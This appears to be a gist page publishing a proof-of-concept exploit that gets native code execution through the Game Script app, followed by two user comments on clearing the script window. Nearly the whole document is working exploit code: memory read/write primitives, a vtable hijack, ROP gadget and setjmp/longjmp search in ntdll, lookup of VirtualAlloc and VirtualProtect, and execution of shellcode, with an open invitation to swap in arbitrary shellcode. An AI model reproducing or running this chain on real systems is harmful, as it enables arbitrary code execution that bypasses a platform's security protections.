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Game Script native code execution PoC
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// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale) | |
// | |
// sample shellcode: mov rax, 0x1337; ret; | |
// drop your own shellcode inplace here | |
let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3] | |
// hex printing helper functions | |
let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'] | |
let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF} | |
fn hex_to_num(s) { | |
var str_len = len(s) | |
var res = 0 | |
for (var i = 0; i < str_len; i++) | |
{ | |
res = res << 4 | |
res = res + c2i_map[s[i]] | |
} | |
return res | |
} | |
fn num_to_hex(num, byte_count) { | |
if (byte_count > 8) { | |
byte_count = 8 | |
} | |
var res = "" | |
for (var i = 0; i < byte_count * 2; i++) { | |
var idx = (num >> (4 * i)) & 15 | |
res = i2c_map[idx] + res | |
} | |
return res | |
} | |
fn num_to_hex8(num) { | |
return num_to_hex(num, 1) | |
} | |
fn num_to_hex16(num) { | |
return num_to_hex(num, 2) | |
} | |
fn num_to_hex32(num) { | |
return num_to_hex(num, 4) | |
} | |
fn num_to_hex64(num) { | |
return num_to_hex(num, 8) | |
} | |
fn hex_dump(addr, count) { | |
for (var i = 0; i < count; i++) { | |
if (i > 0 && (i % 16) == 0) { | |
printConsole("\n") | |
} | |
var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i) | |
printConsole(num_to_hex8(cur_byte) + " ") | |
} | |
} | |
fn array_fill(arr) { | |
var arr_len = len(arr) | |
for (var i = 0; i < arr_len; i++) { | |
arr[i] = 0x41 | |
} | |
} | |
fn round_down(val, bound) { | |
return floor(val - (val % bound)) | |
} | |
fn array_compare(a1, a2) { | |
if (len(a1) != len(a2)) { | |
return false | |
} | |
var arr_len = len(a1) | |
for (var i = 0; i < arr_len; i++) { | |
if (a1[i] != a2[i]) { | |
return false | |
} | |
} | |
return true | |
} | |
// shorthand helpers for memory access | |
fn write8(addr, val) { | |
pointerSetUnsignedInteger8Bit(0, addr, val) | |
} | |
fn read8(addr) { | |
return pointerGetUnsignedInteger8Bit(0, addr) | |
} | |
fn write16(addr, val) { | |
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val) | |
} | |
fn read16(addr) { | |
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr) | |
} | |
fn write32(addr, val) { | |
pointerSetAtOffsetUnsignedInteger(0, addr, val) | |
} | |
fn read32(addr) { | |
return pointerGetAtOffsetUnsignedInteger(0, addr) | |
} | |
fn write64(addr, val) { | |
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val) | |
} | |
fn read64(addr) { | |
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr) | |
} | |
fn read_buf(addr, buf) { | |
var buf_len = len(buf) | |
for (var i = 0; i < buf_len; i++) { | |
buf[i] = read8(addr + i) | |
} | |
} | |
fn write_buf(addr, buf) { | |
var buf_len = len(buf) | |
for (var i = 0; i < buf_len; i++) { | |
write8(addr+i, buf[i]) | |
} | |
} | |
fn find_bytes(addr, max_len, pattern, buf) { | |
for (var i = 0; i < max_len; i++) { | |
read_buf(addr + i, buf) | |
if (array_compare(pattern, buf)) { | |
return addr + i | |
} | |
} | |
return 0 | |
} | |
fn find64(addr, max_len, v) { | |
var offset = 0 | |
while (1) { | |
var temp_val = read64(addr+offset) | |
if (temp_val == v) { | |
return addr+offset | |
} | |
offset += 8 | |
} | |
return 0 | |
} | |
// shorthand funcs | |
fn ptr_to_num(p) { | |
return numberFromRaw64BitUnsignedInteger(p) | |
} | |
var gs_base = 0 | |
var ntdll_base = 0 | |
var kernelbase_base = 0 | |
var longjmp_ptr = 0 | |
var setjmp_ptr = 0 | |
var gadget_ptr = 0 | |
fn call_native(func_ptr, rcx, rdx, r8, r9) { | |
// allocate our objects | |
var obj_ptr = globalArrayNew8Bit("call", 0x100) | |
var objp = ptr_to_num(obj_ptr) | |
var vt_ptr = globalArrayNew8Bit("vtable", 0x18) | |
var vtp = ptr_to_num(vt_ptr) | |
var stack_size = 0x4000 | |
var stack_ptr = globalArrayNew8Bit("stack", stack_size) | |
var stackp = ptr_to_num(stack_ptr) | |
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100) | |
var jcp = ptr_to_num(jmpctx_ptr) | |
// set up vtable pointers | |
write64(vtp+8, setjmp_ptr) | |
write64(objp, vtp) | |
// trigger vtable call | |
slBus_destroy(obj_ptr) | |
memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100) | |
// set up our rop chain | |
write64(stackp+stack_size-0xA0, rdx) | |
write64(stackp+stack_size-0x98, rcx) | |
write64(stackp+stack_size-0x90, r8) | |
write64(stackp+stack_size-0x88, r9) | |
write64(stackp+stack_size-0x80, 0) | |
write64(stackp+stack_size-0x78, 0) | |
write64(stackp+stack_size-0x70, func_ptr) | |
write64(stackp+stack_size-0x68, gs_base+0x1F13A) | |
write64(stackp+stack_size-0x38, 0x15151515) | |
write64(stackp+stack_size-0x30, gs_base+0x109C4A) | |
write64(stackp+stack_size-0x28, jcp) | |
write64(stackp+stack_size-0x20, longjmp_ptr); | |
// set up the vtable and setjmp context | |
write64(vtp+8, longjmp_ptr) | |
write64(objp, vtp) | |
write64(objp+0x10, stackp+stack_size-0xA0) | |
write64(objp+0x50, gadget_ptr) | |
// trigger vtable call | |
slBus_destroy(obj_ptr) | |
var ret_val = read64(stackp+stack_size-0x68) | |
// clean up our objects | |
globalArrayDelete("call") | |
globalArrayDelete("vtable") | |
globalArrayDelete("stack") | |
globalArrayDelete("jctx") | |
return ret_val | |
} | |
fn find_module_base(addr) { | |
var search_addr = round_down(addr, 0x10000) | |
while (1) { | |
var magic_static = [0x4D, 0x5A] | |
var magic_read = [0, 0] | |
read_buf(search_addr, magic_read) | |
if (array_compare(magic_static, magic_read)) { | |
return search_addr | |
} | |
search_addr -= 0x10000 | |
} | |
return 0 | |
} | |
fn get_dll_exports(base_addr) { | |
var res = {} | |
var magic_static = [0x4D, 0x5A] | |
var magic_read = [0, 0] | |
read_buf(base_addr, magic_read) | |
if (!array_compare(magic_static, magic_read)) { | |
printConsole("Magic is invalid!\n") | |
return res | |
} | |
var e_lfanew = read32(base_addr+0x3c) | |
var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18) | |
var num_funcs = read32(exports_addr+0x14) | |
var num_names = read32(exports_addr+0x18) | |
var funcs_addr = base_addr + read32(exports_addr+0x1c) | |
var names_addr = base_addr + read32(exports_addr+0x20) | |
var ords_addr = base_addr + read32(exports_addr+0x24) | |
for (var i = 0; i < num_names; i++) { | |
var name_addr = base_addr + read32(names_addr + (4 * i)) | |
var name_str = pointerGetSubstring(0, name_addr, 0x20) | |
var ordinal = read16(ords_addr + (2 * i)) | |
var func_addr = base_addr + read32(funcs_addr + (4 * ordinal)) | |
res[name_str] = func_addr | |
} | |
return res | |
} | |
var VirtualAlloc_ptr = 0 | |
var VirtualProtect_ptr = 0 | |
fn map_code(code) { | |
var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4) | |
write_buf(code_addr, code) | |
var oldp_ptr = globalArrayNew8Bit("oldp", 0x100) | |
var oldpp = ptr_to_num(oldp_ptr) | |
call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp) | |
return code_addr | |
} | |
// create and dump our object to the terminal | |
var slbus_ptr = slBus_create() | |
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr) | |
// get the base of the GameScript module via the vtable | |
gs_base = read64(slp) - 0x16faf8 | |
// find base addresses of ntdll and kernelbase | |
ntdll_base = find_module_base(read64(gs_base + 0x125398)) | |
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0)) | |
// find longjmp and setjmp for call_native | |
var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48] | |
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C] | |
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] | |
setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes) | |
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes) | |
// find one of our gadgets in ntdll | |
var gadget_bytes = [0x5A,0x59,0x41,0x58,0x41,0x59,0x41,0x5A,0x41,0x5B,0xC3] | |
tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0] | |
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes) | |
// get the ntdll & kernel base exports and find VirtualAlloc/Protect | |
var kernelbase_exports = get_dll_exports(kernelbase_base) | |
var ntdll_exports = get_dll_exports(ntdll_base) | |
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"] | |
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"] | |
// map our shellcode | |
var shellcode_addr = map_code(shellcode) | |
var shellcode_ret = call_native(shellcode_addr, 0, 0, 0, 0) | |
printConsole("Shellcode return value: " + num_to_hex64(shellcode_ret) + "\n") |
Tell me how to clear the window of Game Script from the previous script. I can't insert a new one.
click on the text window until the virtual keyboard pops up, then insert a usb keyboard and hit CTRL+A and backspace
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Tell me how to clear the window of Game Script from the previous script.
I can't insert a new one.